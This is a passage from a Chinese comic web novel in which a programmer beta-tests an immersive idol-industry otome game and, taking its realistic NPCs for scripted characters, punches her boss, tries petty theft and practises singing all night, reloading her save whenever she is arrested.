《靠沙雕在乙女游戏称霸》
1. 洛川（1）
洛川是一座娱乐之城。
或许是贫富差距过于悬殊，或许是生活成本极端高昂，占据总人口95%以上的“平民”看不见未来，心生绝望。
他们贯彻“活在当下”之准则，每日灯红酒绿、醉生梦死，也不吝于花钱支持自己喜欢的荧屏偶像。
因此洛川的娱乐业极为发达。
——而你，就是星宇娱乐公司的一个新签约的小小偶像。
你的梦想，是成为圈内的顶尖爱豆，把充满美好希望的表演，带给每一个困于绝望的人。
“知道了知道了。”
朝晖略显不耐地跳过剧情cg，吐槽：“偶像，那不就是资本家用来割韭菜的工具人么？”
“要是成为偶像就能拯救世界，我还不如去当魔法少女呢！”
“……等等。”
朝晖看向眼前精美的人物创建界面，忽然有了灵感。
不如成为魔法少女吧！
她兴奋地想要捏出一张魔法少女风格的脸，却被系统兜头泼了一盆冷水。
“亲爱的玩家：由于内测时期，人物模型系统尚未完善，且为避免您在真实度过高的游戏中迷失自我，您的容貌调整程度不可以超过10%。”
诶？什么嘛！
朝晖失望地撇撇嘴。
她懒得自己微调，索性点了“随机生成”，然后开始选属性。
《逐梦娱乐圈》是一款角色扮演类型的乙女游戏。
不过众所周知，乙游总得来点儿战斗系统以丰富玩法（骗氪骗肝），比如说剧本比拼啊、服装搭配啊、律政辩论啊……诸如此类。
而《逐梦演艺圈》的相关玩法，自然就是在演艺圈中进行“战斗”了。
人物的基本属性，包括力量、耐力、敏捷、智力，所有玩家默认5点，即游戏世界人物的平均水准。
与此同时，还有魅力、情商、学识、幸运之类的，初始均为0。
以上属性关系着玩家在娱乐圈中打拼的资本和发展方向，十分重要。
创建人物免费送30个属性点，玩家可根据个人喜好，将其分配到不同属性上，这也算是体现自由度的一个方面。
以上，是游戏界面弹出的新手tips。
“全加力量吧。”朝晖说。
系统：“……？”
力量的确是和“跳舞”息息相关的属性没错，但……
但作为一个成熟的ai，它敢用程序员头上仅剩的101根头发发誓，这位玩家绝不是因为想成为舞蹈高手，才这么加点的。
“魔法少女自然要会魔法，那么如何学习魔法？当然是先学习无敌的搏斗术了。”朝晖看着自己的35点力量，满意地点点头。
确认创建！
眼一花，她出现在一间窗明几净的办公室内。
“卧槽！”
朝晖震惊地左顾右盼。
摸摸地板、摸摸桌子，又和墙壁上放满书籍和奖杯的柜子激情互动起来——
几乎每一件物品都可以交互！！
还有这如此真实的光影、如此细腻的触觉！！
天呐，她们公司不会是要发财了吧？
能做出这样的优秀的画面，还要测什么bug嘛！
“……朝晖！！”
她探索得十分忘我。直到听见难以忽视的巨大拍桌声音，以及一道相当高昂、咬牙切齿的怒吼，朝晖这才回神，发现办公室内不止有她，还有几个npc。
扫了一眼，都是放进人群里就找不着的普通路人脸，想必是无关紧要的角色。
其中，坐在办公桌之后的大肚子中年秃头男头上，正冒着一个显眼的绿色标志，应该就是新手任务的npc了。
于是她走上前去，紧紧盯着他。
……
这秃头npc也不说话，只瞪着眼睛望着她，额头上肉眼可见青筋凸起。
朝晖纳闷地开口：“呃，hello，交互？我来交任务？”
npc：……
npc勃然大怒：“你在搞什么鬼！在番茄台的前辈面前发神经啊？”
然后他迅速变了张脸，冲着另外几个npc谄媚笑道：“她是我们公司最好的一位练习生，朝晖，长得漂亮，实力非常优秀！性格也很……呃……很有个性！”
朝晖大感兴趣：“卧槽，你刚才的表情太厉害了！模型几乎没有僵硬感，甚至脸上的毛孔都一清二楚！现在技术这么发达了？”
秃头npc：？
其他几个npc也都震惊地看向大放厥词的朝晖。
然而玩家正是对新游戏好奇的时候，不仅不理会他们的反应，还凑到他们面前细细打量。
每个人的建模都好真实啊！
npc们：……
虽然受到了冒犯，但出于某种不服输的心理（？），他们也瞪大眼睛、假装镇定地盯着她。
这么一看，就有点儿移不开眼。
玩家的角色，其皮肤完美无瑕，眼睛大而明亮，头发乌黑顺滑，身材如同建模，哪怕素面朝天都美丽得毫无死角……
最重要的是，她的眼神中，有种清澈纯粹的天真好奇（玩家の探索欲）。
在“上等人”看来，这是一种很难从平民脸上看到的神情。
像涉世未深的孩子，走出屏幕的cg人物。
——害，这不是游戏基操嘛。
哪个游戏里的人物不是这样子的呢？
就算是“平平无奇”的女主角，那也是二次元美少女啊。
朝晖对npc们脸上明显的惊艳不屑一顾：“大约这就是乙女游戏的玛丽苏情节吧？”
秃头老板正暗戳戳地观察着“前辈”们的表情，见此情状，吊在嗓子眼的心顿时放下一半。
他苍蝇搓手，推销商品一般嘿嘿笑道：“这个嘛，各位，笨蛋美女的人设永不过时，她去参加贵节目的话，一定会带来很好的效果。”
意思就是不介意朝晖去当丑角。
对老板来说，黑红也是红，能引流就行，管什么美丑呢？
被外表所迷惑的npc们：“嗯……确实，但性格还需要你再教一教。没大没小的，哪天得罪了人也不知道。”
他们还算是有点修养，没把“她是不是脑子有病”这句话直白地讲出来。
“那是自然，那是自然……等等，你在干什么！？”
这不，npc正在走剧情，朝晖却发现自己还能自由行动，顿时上窜下跳起来。
物品都能交互？
那就都拿着呗！谁知道日后能不能派上用场呢？
每一个优秀的游戏玩家都会早早为日后作打算。
您获得了【野鸡音乐节目的铜质奖杯：镀铜产品，制作精美，虽然不值太多钱，但勉强可以作为金属武器使用。】
您获得了【办公必备的黑色签字笔：书写顺滑，但造型过于圆钝，杀伤力很低。】
您获得了……
系统一噎。
这款游戏的物品说明应该是这样子的吗？
游戏文本是不是哪里坏掉了！？
番茄台员工表情裂开：“……朱老板，您确定这位练习生没有确诊什么精神上的疾病吗？”
朱老板：……
他大感丢脸，怒不可遏，健步上前，想把到处乱拿东西的朝晖拉住。
一拉，没拉动。
反倒是朝晖回头，直愣愣望向那只拽住自己胳膊的手。
肥肥的手指，油腻粗壮的手臂，浑浊泛黄的指甲，黏腻恶心的触感……
救！命！啊！
她没忍住，一拳挥出！
顿时，朱老板那胖胖的身躯便如同动画片里的特效那样，“咻”地一声飞到了墙上，“duang”地一声变成一块饼，留下一个“大”字型裂痕，然后沿着墙壁缓缓滑下。
他艰难地喷出一口绿色的液体之后，白眼一翻，昏死过去。
“干什么！？x骚扰啊！！”朝晖惊魂未定。
说起来，这熟悉的绿色液体，感觉比红色还掉san呢。
系统：……
番茄台员工张大了嘴：……
他们缓缓后退，心惊胆战地看着若无其事回去翻东西的朝晖。'');(window.adbyunion = window.adbyunion || []).push(id);})();
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——并悄无声息地拨打了报警电话。
最终，事件以朝晖读档重来作为结尾。
35点力量不是盖的，她被警察团团围住的时候，一拳一个小朋友，丝毫不落下风！
可惜，因双方武器的科技水平有着过于悬殊的差距，她遗憾落败。
看见那熟悉的铁栏杆，熟悉的铁手链，她应该是被抓进了看守所。
逃也逃不掉，任务也没法做，还被一群警察npc不停地骚扰，俗称卡关……唉！
系统：“亲爱的玩家，本游戏自由度较高，但请勿随意殴打重要任务npc或进行违法活动，可能会造成卡关、卡任务、坏档等严重后果……”
朝晖失望：“一个乙女游戏设定这么复杂啊？”
“……还请玩家先按照任务线进行游戏，解锁全部游戏功能，日后会开放更加丰富自由的玩法。”
“行吧。”朝晖听劝。
她是拿着工资来的，怎么也得把剧情线走完、把可能存在的bug挑出来，这是合格员工的基本素质。
于是读档之后，再次出现在人员齐整（？）的办公室内，朝晖就没有再殴打老板了。
毕竟经过实战检验，刚才那个奖杯和签字笔作为武器，真的都非常弱鸡。
奖杯么，攻击距离太短，攻速太慢，后摇太长，还很容易手滑甩飞，垃圾！
签字笔……不提也罢。
唉，识时务者为俊杰，她以后一定会找到更好用的武器的！
百无聊赖地等npc们过完剧情，朝晖总算收获了任务成功的提示。
她升级了，并开启了天赋系统。
嗯？
天赋！
朝晖连忙打开系统界面，果然有个新的图标“天赋”亮了起来，还挂着一个逼死强迫症的红色数字“1”。
天赋界面，可以选择的有唱歌、跳舞、创作三大分支。
……还真是一款逐梦演艺圈的游戏呢。
目前亮起来的只有“唱歌”，刚才升级获得的一个天赋点可以加在这里。
唱歌分类下有三个不同的方向，但天赋点可以随便加，想三个方向都点亮也是没问题的，就跟普通游戏一样。
只是天赋点数量有限，一般玩家都会专精某个方向，这样可以点出天赋树最后面的、比较强大的天赋，以获得更强的战力（？）。
【海妖之声：你的声音可以勾起人们心中最深处的欲望。
精灵之声：你的声音可以唤醒人们心中最初的美好回忆。
天使之声：你的声音可以抚平人们心中不愿言说的伤痛。】
“怎么都是辅助？我看看大招哪个厉害……”
事关战斗力是决计不能马虎的，朝晖立刻钻研起来。
系统：“……有没有可能虽然是role play，但本游戏其实还是一款乙女游戏呢？”
“但游戏设定一看就是有战斗比拼之类的系统吧！肯定还是得好好研究一下的呀……有了！”朝晖眼睛一亮。
“海妖之声”最后面的几个天赋，包括“死亡歌喉”“溺亡之音”“迷幻之歌”等等。
还是像辅助，但好歹也是有攻击性的。
另外两个分支则偏向于奶妈技能。
于是朝晖毫不犹豫地把天赋点点在了“海妖之声”上面。
她顿时充满了升级的动力：这个死亡歌喉，一听就是非常厉害的群攻大招啊！
就很想快点把它点出来，看看是什么效果！
陷入了天赋抉择、盯着系统面板的朝晖，在旁人看来，就是表情丰富地待在原地发呆。
朱老板&番茄台员工：……
不知道为什么，虽然这个练习生目前为止一直安安静静的，但总感觉她好像有神经病的样子。
朱老板更是莫名其妙地觉得浑身发冷，心惊胆战地喊了她一声：“那个，朝晖，明天你就去番茄台面试一下吧。”
话音刚落，他头上的绿色标志闪烁起来。
新任务！
朝晖立刻笑容满面地答应。
死亡歌喉，等着我罢！
2. 洛川（2）
朝晖就业于某游戏公司，只是个平平无奇的码农，所在项目组负责维护一款平平无奇的氪金手游。
但不知道走了什么狗屎运，她被随机选中参与公司最顶尖核心的全息游戏项目测试。
带薪玩游戏，谁不想呢！何况薪资还很高，朝晖立刻点头。
《逐梦演艺圈》的全息游戏仓采用最新的神经接驳技术。打完剧情全通大约需要1个月现实时间，而位于游戏仓中的玩家，体感时间是十年左右。
也就是说，为了体验全部剧情，朝晖至少要在游戏中度过十年。
然而看见“星宇娱乐公司”的宿舍时，她沉默了。
“可恶，难道这破烂的宿舍就是游戏逼迫玩家奋斗的手段吗！”朝晖打开系统备忘录，哗哗打字，“我承认它很有用，毕竟哪怕是游戏，在这里住十年也太过可怕了吧！”
狭小阴暗、家具陈旧的8人间宿舍内，室友们齐齐扭头，呆呆地望向旁若无人、自言自语的朝晖。
“这npc神态做得真的好，还会给即时反应，搞得我都有点尴尬了。”朝晖挠头。
然后一点儿也不尴尬、大摇大摆地来到写着自己名字的床铺上，闭上眼准备睡觉。
她闭眼，睁眼。
再闭眼，再睁眼。
“诶，不会自动跳到第二天吗？”朝晖惊奇，四处翻找是不是有被她漏掉的交互按钮。
系统：……
室友们：……
几个女孩互相对视一眼，不约而同地拿起手机，打开聊天群。
“这个新来的妹妹是不是精神有点问题啊？”
“很漂亮，但自言自语的样子好疯，有点恐怖……”
系统：“很抱歉，内测期间暂时没有剧情跳过功能，玩家需要通过自行睡眠回复精力，睡觉时每五分钟回复一点精力。”
朝晖定睛一看，自己的精力目前是30/30。
这个精力就类似大部分游戏中的体力，它存在的意义一般是防沉迷（并骗氪），可以用来打怪闯关刷材料什么的。
但她还未解锁大部分游戏玩法，没有能花精力的地方。
也是说不需要睡觉咯？
“游戏节奏不行啊，那我这个晚上岂不是没事干？很劝退新玩家的！”朝晖立刻打开备忘录，兢兢业业做好测评工作。
“……游戏内容请玩家自行探索，公测后会添加相关功能。”
“好吧。”
既然不用睡觉，朝晖一骨碌爬起身。
！
悄悄聊天的室友们齐齐抬起头，身体后仰，惊恐地看向她。
像笼子里一排受惊的仓鼠。
朝晖一怔，立刻盯回去，眼神炽热。
她隔壁床铺的女生在她的注视下，无处可逃，只好颤颤巍巍、细若游丝地开口：“……你，你好？”
“你好。”朝晖满眼鼓励地望着她。
“……”
一片沉默。
“害，我还以为会有支线任务呢。”
她见那个女生八字眉苦瓜脸，一副快哭了的模样，还以为对方会发布诸如“寻找失物”“暴打渣男”之类的任务。
朝晖又耐心地扫视一圈，见室友们个个眼神躲闪，但身上都没有亮起代表任务的图标，只好失望地离开。
看来室友npc没有设定能够交互的地方，她觉得公司可以在这里加一点背景聊天、支线任务，丰富游戏场景嘛。
室友们在她走后，均松了口气，然后面面相觑。
刚刚和她说话的那个女生差点没哭出来：“她，她不会真的有病吧……”
这个疑问，在第二天见到老板的时候，得到了解答。
朱老板是一大早被保安一个电话叫醒的，说公司里遭贼了。
他一个激灵，瞌睡虫消失无踪，立刻驱车前往公司。
保安指着监控，对匆忙赶来的朱老板惊恐道：“我刚来上班就发现公司门锁被破坏，然后查监控，看见那个女生她、她她她……”
朱老板看着监控画面内那熟悉的身影，心中浮现出不详预感：“她偷东西了吗？”
诶，为什么他会有这种猜测？
“不是，她……在练习室唱了一整个晚上。八个小时，没停过！”
朱老板：“……啊？”
保安带朱老板赶到练习室门口，发现朝晖还在忘我地练习唱歌，哆来咪发唆重复循环。
……练习室的门也没锁，因为是坏的，被她打开了。
“朝晖！！”朱老板推门而入，又生气，又有种无力感。
“诶？”
朝晖睁大眼睛回头，发现是秃头老板，顿觉不耐。
但想起他任务npc的身份，只得不情不愿道：“什么事？”
朱老板这火，噌地一下就冒了出来：“你这是什么态度！？你有神经病吧！！大半夜撬锁进来干什么！？”
朝晖眉头一皱：“撬锁？你怎的凭空污人清白！门本来不就是开着的吗，我一推就开了啊？”
朱老板：？
保安：……？
到点来公司上班/练习并悄悄围观的员工和练习生们：……？
朝晖仿佛忽然想起了什么，啊了一声，重重地一拍大腿：“对哦！我忘了，呃，可能是我力量比较高，所以一推就开，没察觉它锁上了……难道真是锁着的？”
朱老板：……
不知道为什么，好像一下子就对她“力量很高”这种鬼话深信不疑。
可力气再大，也不可能徒手打开这种铁质密码锁。
……所以果然是撬完锁在这里狡辩吧。公司的锁的确是有点老化了，只不过目前还没出事，所以吝啬的朱老板不愿意花钱更换。
他无力地摆摆手：“你有病吗？算了……唉，你晚上不睡觉，今天番茄台的面试怎么办？那可是S级选秀《星光训练营》的面试机会，我好不容易为你争取来的啊！”
朝晖压根没听他后面的话：“喂喂喂，动不动说人有病，什么意思啊？有没有点文明礼貌了？系统你们这游戏文本、人物ai必须得改进一下吧！”
系统：……
朱老板：“……叫司机现在就把她送到番茄台去。”
朝晖不知道，她所说的有关游戏、系统的话语，都会被系统干扰打码，变成仿佛精神病患者发出的无意义呓语。
大概就是阿巴阿巴、咕噜噜噜之类的。
一会儿是几句正常话，一会儿是被屏蔽的“阿巴阿巴”，听在旁人耳朵里，可不就像是脑子有病吗？
似乎是想起了什么，朝晖又对系统说：“那个，我真不知道我推了下门它就坏了……这个不算犯法吧？”
系统：“……只要老板不报警就没事，不过玩家您出门在外还是谨慎为好，否则卡关的话又得重来。”
“害，玩个游戏还搞这么多条条框框的，没劲。”
系统：……
听她再次阿巴阿巴了半天的朱老板：……
看见自家老板那比锅底还黑的脸色，助理忙安抚他：“听说前些年也流行过四次元、电波系美少女的人设，老板，你开朗一点！”
看见“电波系美少女”那张通宵之后、素面朝天却依旧干干净净不油不肿的脸蛋，以及她神采奕奕、完全没有浮肿和黑眼圈的大眼睛，朱老板的心情如同冰火两重天。
他单手扶额，只觉自己胖胖的身躯承担了许多不符合自己年龄的重任：“朝晖啊，你去人家的地盘可千万不能干这种事了，你……”
“嗯嗯嗯我知道了，老板我们快出发吧！”朝晖摩拳擦掌，迫不及待。
——其实，她昨晚在宿舍存档之后，已经读档两次了。
毕竟不用睡觉，她闲得无聊，四处瞎逛，发现外面竟然有不少店铺开门。
最重要的是，这些店铺，竟然都是能够交互的！
哇咔咔咔！
朝晖立刻龙卷风卷入小卖店，目标直击货架上的零食！！
可惜，她打开手机钱包一看，里面余额就800。
而小店里，随便一瓶饮料都要20元起步，一根烤肠45元，一袋薯片85。
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游戏的物价是不是有点问题？这是在抢钱吧！
……嘎，抢钱？
她顿时萌生出一个大胆的想法。
要不……试试零元购？
虽然被抓之后可能得重新读档，但是，只要没被发现的话，应该就没事了吧？
说干就干！
朝晖在现实里是个守法公民，没有此类经验，于是她决定参考自己以往在游戏中的零元购经历。
第一步，找收银员要个袋子。
第二步，把袋子装满零食之后，在收银员震惊的眼神下，快速跑出大门，一个闪身冲进隔壁夜店里，借人群掩护躲进厕所。
第三步，躲了大概十分钟，没听见警笛声，大摇大摆地离开。
……然后光速被抓。
读档重来，这回她偷偷摸摸地把袋子填满，趁收银员背对着她，迅速离开店铺，直直跑回宿舍，关上门的时候还长舒一口气。
……然后大吃特吃零食，吃到一半的时候，在室友震惊的眼神中被铐走。
系统：“请您正常地走剧情吧……”
于是无聊的朝晖把800块全花掉，买了上一周目吃过觉得好吃的零食，来到公司，一推门发现门没锁还挺惊讶的。
“应该是公司和宿舍都算任务地点，所以可以随意探索吧。”玩家分析，“嗯，肯定就是这样。”
她把公司逛了个遍，没发现什么好东西，却在来到练习室的时候，解锁了新功能。
“恭喜您解锁了【技能】【练习】！”
“您可以通过在练习室进行练习，增加技能熟练度，并获得进阶奖励。”
“目前可以练习的技能是：【海妖之声lv.1】0/100。”
【海妖之声lv.1】：您的歌声具有少许蛊惑之力，您的嗓音变得更为动听。
朝晖：！！！
她立刻点击【开始练习】，并发现系统这一块儿做得很良心，身体自动进入唱歌状态，她啥也不用干。
与此同时，她根据系统提示，打开手机，玩起新下载的小游戏。
你别说，《逐梦演艺圈》不愧是公司最用心的新项目，细节特别多，游戏里还能套游戏，真不错！
练习一次时间为一小时，熟练度加1点，消耗精力也是1点，还会涨一点点升级经验，聊胜于无。
“睡一小时回12精力，那我练习24小时睡俩小时，不到一周就能刷到二级，还挺快。”朝晖做计算。
系统：……
要不是主线任务更重要，她大概会一直泡在练习室不挪窝。
就算如此，她也很急，特别急。
赶紧把任务做完，回来刷熟练度！
试问哪一个游戏玩家能拒绝无限刷经验的快乐呢？
在朱老板、助理及一众路人员工的复杂眼神注视之下，朝晖成功坐上了公司的车，一路朝着番茄电视台所在的位置远去。
室友们眼见她离开，互相对视，肯定地点头：
她是真的有病，没跑了。
朱老板目送车辆远去，抹了把汗。
明明第一眼看见她的时候，还被她的外貌所惊艳，立刻就决定签下她。
那时候的她不是挺正常的吗！
但现在，为什么觉得这么累呢……
他绝不是个好心容忍员工的老板，可莫名其妙地，他看见朝晖就心生畏惧，总觉得自己那没剩几根头发的脑门愈发凉飕飕了。
回到办公室，这种感觉就更加强烈了。
尤其是一看见办公桌后面的那面墙，不知怎的他就浑身发疼。
……算了，反正练习生们签的合同约等于“卖身契”，是对老板来说绝对安全的不平等条约。就算她惹出什么事，他也能把责任推卸得干干净净。
可能会有得罪番茄台的风险，但富贵险中求么，在此之前，他就先给她这个机会吧。
——虽然她有病，但发病的方式竟然是撬门通宵在练习室练习唱歌八小时……
连黑心资本家朱老板也不禁有些被感动了呢……？
3. 洛川（3）
轿车一路呼啸，朝晖手舞足蹈。
可惜不论她怎么搭话，司机都紧绷着脸，坚决不搭理她。
为此，朝晖还特地在小本本上记了一笔：这种流程npc，也可以做一点无关痛痒的闲聊文本来丰富游戏内容嘛！
此前公司里的npc，ai是真的厉害，倒是面前死板的司机npc更让她有在玩游戏的实感。
被朱老板死命叮嘱过的司机：……
他其实是朱老板的手下，客串司机的同时，要兼任今日朝晖的助理工作。
原本以为她会特别难缠，没想到在车上骚扰无果之后，朝晖就再也没烦他。
司机停好车，示意对方跟着他走，并悄悄松了口气。
呼……看来没有老板说得那么恐怖嘛！
毕竟这么样的一个年轻女孩子，应该也不会太不顾脸面的吧……
一路平安地来到电梯间，他欣慰地转过头，发现身后空空如也。
司机大惊失色：“！？”
……
“哇，这车也太帅了！”
朝晖正蹲在车库里流口水。
电视台的职员不乏有钱有势的“上等人”，尤其是能买得起车的，基本都有点儿财阀背景。
游戏还是半架空背景，车库里停的车，那模型，别提有多帅了！
每一辆，都是那么好看，那么酷炫！
朝晖心痒难耐，立刻掏出手机识图搜索，然后发现眼前这辆车，最低配置也要七个零起步。
朝晖：？
是娱乐圈人士收入太高，还是这破游戏压根没想让玩家买车？
就算做主线任务收入高，谁会在单机游戏里肝一两年来攒钱买车啊！
豪车这种东西在单机游戏里不应该是点击就送吗！
玩家咬牙，玩家存档，玩家试图强行打开车门，并把车门把手拧下来了。
豪车无助地发出尖叫声。
朝晖与迅速赶来的警察进行了一番长达三分钟的追逐战，遗憾落败被捕，over。
在警局读档的动作，不知为何已经变得很熟练了呢（点烟.jpg
“……可恶！”朝晖一拍大腿。
前有豪车却不能开之，如同坐拥宝山而不可动用，就很憋屈！
迟早有一天，她要集齐游戏里全部型号的车！
迅速赶来并不知道为什么觉得心惊胆战的司机：“……朝小姐。”
“走吧。”
朝晖没精打采地跟上他。
不过毕竟是玩游戏，看见高耸入云、豪华气派的电视台大厦，她很快恢复了神采。
光可鉴人的大理石地板、富有古典风格的室内装潢……不得不说，《逐梦演艺圈》的美术设计真的很不错呢！
节目组的面试开始于下午两点，此时才将将中午十一点，司机带她先去吃午饭，然后去电视台内的工作室化妆。
如果不看朱老板的最终目的，他对手下的潜在摇钱树还是挺大方的。
公费蹭饭，当然要大吃特吃！
朝晖吃饭的姿态极其可怖，“狼吞虎咽”都不足以形容，以至于司机呆愣愣地看着她，手中的三明治半天没咬下去。
……她饿了多久？
……她吃了多少了？
等等，这已经是第三份加量版双层大号牛肉堡了！！
其实，游戏内没有饥饿值的设定，所以理论上玩家并不需要吃饭。
但这款游戏，它的味觉系统做得也太棒了吧！
朝晖发誓，以她阅游戏无数的经验来看，《逐梦演艺圈》的味觉系统完全可以额外做一个爆款美食游戏了！
“不愧是我们公司，区区乙女游戏也要加载如此先进的味觉系统吗！”她的眼神忽然犀利起来，“放心吧，我一定会尽力挖掘出这款游戏的bug和不足，做好测试工作的！”
听见一堆阿巴阿巴的司机：……
“那个……下午的面试没多久了，吃太多的话，身材方面可能就……”司机结结巴巴、小心翼翼地开口。
朝晖自然而然地把这句话理解成任务流程，遂点头。
迟早有一天，她要集齐游戏里全部口味的美食！
大摇大摆地跟着司机进入大厦，看着行色匆匆、打扮各异、极具精英范儿的npc们，朝晖左顾右盼，神采飞扬，时不时还蹲下来摸摸大理石地板。
司机满头冒汗，又不敢说太多话，就像个尽职的引路npc，走走停停地等她。
看到化妆室内各式各样的道具，朝晖更是一个不落的上手摸来摸去。
试问，哪个玩家在游戏内不会把能交互的东西全摸一遍呢？
化妆师：“……女士，离面试没有多久了，麻烦您坐好，不要乱动。”
“好吧。”
她发现了更有意思的东西———镜子。
原来她的角色长这样吗？
嘿，跟她本人其实差不多，但莫名其妙就很好看！
化妆师只是个小虾米人物，在电视台内谁也得罪不起，见客户听话，松了口气。
然后，她绕着客户转了两圈，拿着粉底、遮瑕液等工具，迟迟无法下手。
“你……你……你没有毛孔吗？”化妆师眼珠子快瞪出来了。
众所周知，皮肤再好的人，只要不是婴儿，那么鼻子、脸颊等部位或多或少都会有些明显的毛孔。
像是痘印，小瑕疵之类的，更是十分常见。
但眼前这个看起来十六七岁的女孩，她的脸上，竟然一个瑕疵都没有！！
肤色均匀剔透，眉眼浓淡相宜。
化妆师觉得自己手上的粉底液变成了某种污渍，反而会破坏客人本身的质感。
朝晖毫不意外：“游戏人物怎么可能有毛孔啊？哎，你别说，我这人物还真挺好看！”
听见“阿巴巴巴毛孔？咕噜咕噜噜，诶啊啊哦还真挺好看！”的化妆师：“……？”
这位客人……她……不会是有精神病吧……？
早已看淡红尘的司机：呵。
最终，朝晖被化妆室内所有的小姐姐围在一起，精心画了淡淡的妆容，照她们的说法是“增添了一点儿气色”。
反正她看不出来有什么差别。
她还以为所谓化妆，是给她一堆捏脸界面自己选来着，没想到是沉浸式体验，感觉还不错。
保持着好心情走进面试大厅，被黑压压的人海吓了一跳；朝晖这才得知，她前面还排了100个面试者。
玩家，要在游戏里，排队？
排三小时起步的长队？
“系统！你们设计的任务是不是有病？”朝晖大怒，“不能一键跳过也就罢了，这里连张床都没有，我还不能睡觉！”
系统：“……亲爱的玩家，沉浸式体验、追求真实感，这也是role play玩法的一部分。”
“爬！你现在立刻把这个问题上报好吗，这破地方又挤又热，啥也干不了，真不改就等着公测后一大批退款吧！”
在朝晖周围排队等待的所有面试者：……
一不小心听见了一部分内容的某个面试官：……
面试官皱眉回头，打算看看这个口出狂言、毫无逻辑、说话还阿巴阿巴仿佛有病的家伙是谁。
然后，就正面对上了玩家。
此人鹤立鸡群，盖因周围面试者全部疯狂后仰，生怕这个胡言乱语的神经病波及她人。
面试官：“……这位小姐。您是几号？”
朝晖：“你哪位啊？”
……
面试官一边控制不住想要发火，一边又实在无法对着这张脸说出什么重话，脸颊鬼畜般不停抽搐：“……我是本场面试的面试官之一，《星光训练营》的总策划杨梅。”
朝晖精神一振：“是任务npc？你好你好，我是101号！话说能不能让我提前面试啊？我很快，两分钟就走。”
面试官：……
虽然我是有这个意思，但你这么大声地讲出来让我还怎么提？
“你先跟我出去，不要扰乱这里的秩序，否则我要叫保安了！”面试官严厉地说。
朝晖立刻存档，施施然随她出门。
没有特殊情况，她也不会作死把自己送进局子，白白浪费时间读档重来。
好在司机察觉不对，等候在门口，及时接过了与面试官沟通的重任。
在朝晖看来，这就
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是任务在过剧情了。
没想到游戏系统还算有人性，不会真的要玩家等。
她就说嘛！味觉和美术系统都做得很好，没道理在策划上忽然变得垃圾呀！
系统：……
在接受了“脑子有点问题的电波系少女”这个设定后，面试官恢复平静，果然将朝晖带去插队。
哼哼，一切都在玩家的预料之中。
发呆等剧情的过程中，任务的“前往电视台面试”这一步骤被完成，下一步内容是“表演唱歌才艺”。
朝晖安静地呆着。待到评委们示意她开始，她才按下系统面板上的技能【海妖之声】，在默认曲库中选了首人气最高的抒情曲。
然后继续发呆。
两分钟的呆发完，评委们的眼神闪闪发光，满脸写着“竟然不是个花瓶？”
朝晖压根没在意npc什么反应。
她只知道，她的任务完成了！
主线任务经验丰厚，升级之后的奖励果然还是一点天赋点。
并且，【天赋】下面的【舞蹈】分支也已经解锁。
新的主线任务发布，内容是回到公司刻苦训练，在选秀综艺开始之前，把唱歌和舞蹈的各一个技能刷到50熟练度。
正合她意呀！
朝晖急不可耐，立刻冲下台，没忘记抓住司机往外跑。
“哎你等等！101号选手！”有人匆忙起身试图喊住她。
“叮！”
“恭喜您解锁了【恋爱】。您解锁了成就系统。”
诶？
对哦，这好像是个乙女游戏来着？
新东西当然是要立刻查看，朝晖原地停下开始观察系统界面。
【恋爱】分支内有好感度、约会、人物卡等设定。她点亮了一张人物卡，是【卫文谨】，其他资料全是未解锁。
人物卡目前来看没啥用，朝晖研究了一会儿，就放弃了。
“朝小姐，我来自寰天文化传媒有限公司，我姓卫。这是我的名片，如果您有时间的话，晚上要不要一起吃个便饭？”有人说。
朝晖充耳不闻，迫不及待点开【成就】。
成就系统像一本大号相册，目前是全部锁住的，暂时看不了能够收集的东西。
但这足以让她兴奋起来。
试问，哪个资深玩家没有一点收集癖呢？
“朝小姐，朝小姐？”
见证当面挖墙脚却面无表情的司机：“……这位先生，有些话我不知道该不该说，不过她其实……”
朝晖粗略看完了新的游戏内容。恋爱部分她不是很感兴趣，但成就系统倒还不错。
希望她能早日找到解锁方法！
话说刚刚似乎有人在说话，应该不是在跟她讲吧？
关掉游戏界面，准备离开时，她才发现自己面前还站了个人。
诶，这建模……
看起来不太像路人甲啊。
此人身材高挑，穿着恰好合身、一丝不苟的黑西装，戴着一副金丝框眼镜，肤色白皙，看起来很斯文。
一句话总结：长得特别好看。
最关键的是，区别于其他所有npc，他的脑袋上顶着三个十分明显的白色大字：
“卫文谨。”
“诶？”西装男一愣，“朝小姐认识我？”
不认识，只是总觉得这个名字有点耳熟，仿佛刚刚在哪里见过似的。
系统：……
朝晖挠头，看着对方，好心地出言提示：“你有什么任务需要我帮忙的吗？”
头顶自带名字，一看就是很重要的npc！
西装男：“……没有，只是我想请问您是否有空一起吃晚饭？对了这是我的名片……”
朝晖非常仔细地盯着他，一动不动。
西装男递名片的手尴尬地停留在空中，最后慢悠悠收了回来。
没有跳出绿色标志。
唉，看来目前还接不到支线任务，失望。
想肝技能、快点儿升级的心情已经控制不住了！
“走了。”朝晖拉住司机，一溜烟消失在面试大厅门口。
西装男伸出尔康手，欲言又止：“……”
4. 洛川（4）
星宇娱乐在洛川诸多大大小小的娱乐公司当中，算是比较垃圾的那一挂。
但再垃圾，能有钱开公司的老板也不是普通人得罪得起的。
——应该是这样没错吧？
看着大摇大摆闯入练习室，旁若无人地开始“哆来咪发唆”的朝晖，以及随后赶来、面色阴晴不定的朱老板……
其他练习生缩在角落，不敢出声，只觉得自己弱小、可怜，且无助。
朱老板咬牙切齿：“既然通过了面试，那么我给你安排一个单独的房间进行练习吧？”
他是和任务主线相关的npc，因此朝晖友善地回答了他：“只有在练习室里才能练习。”
“……会有基础的唱歌、舞蹈练习环境。”
“哇，好耶！”
目送神经病和老板离开，生怕被波及的众人齐齐松了口气。
一个圆脸的女孩戳了戳旁边高个儿女生的胳膊，小声议论：“哇……她那样也能通过S级综艺面试？”
高个见怪不怪：“看脸呐。”
“但她那种性格……去参加综艺真的不会出事吗？”圆脸女孩已经开始替别人感到尴尬，“况且，看脸的话，其实你也很漂亮啊。”
高个女生眉眼深邃，长得像芭比娃娃一样精致，是个混血儿。
她无奈道：“我哪行？洛川人排斥混血，何况现在的圈子，漂亮不够，有趣才行。”
“所谓的脑子有病，对老板们来说，反而是增添了节目的噱头呢。而这样的有黑料的人，也会更好控制。”
“至于节目结束，她的后续发展会如何，哪个老板会在乎呢。”
练习生都是平民孩子，受限于眼界，很少有人能够说出这样一番话。
圆脸女孩听她说完，只懵懵懂懂地回答：“但能上节目，总比永无尽头地在这儿练习要好吧……”
高个女孩看了同伴一眼，叹了口气：“那还真不一定呢。”
抛去这个话题不谈，在两人看来，有一点倒是更为重要：
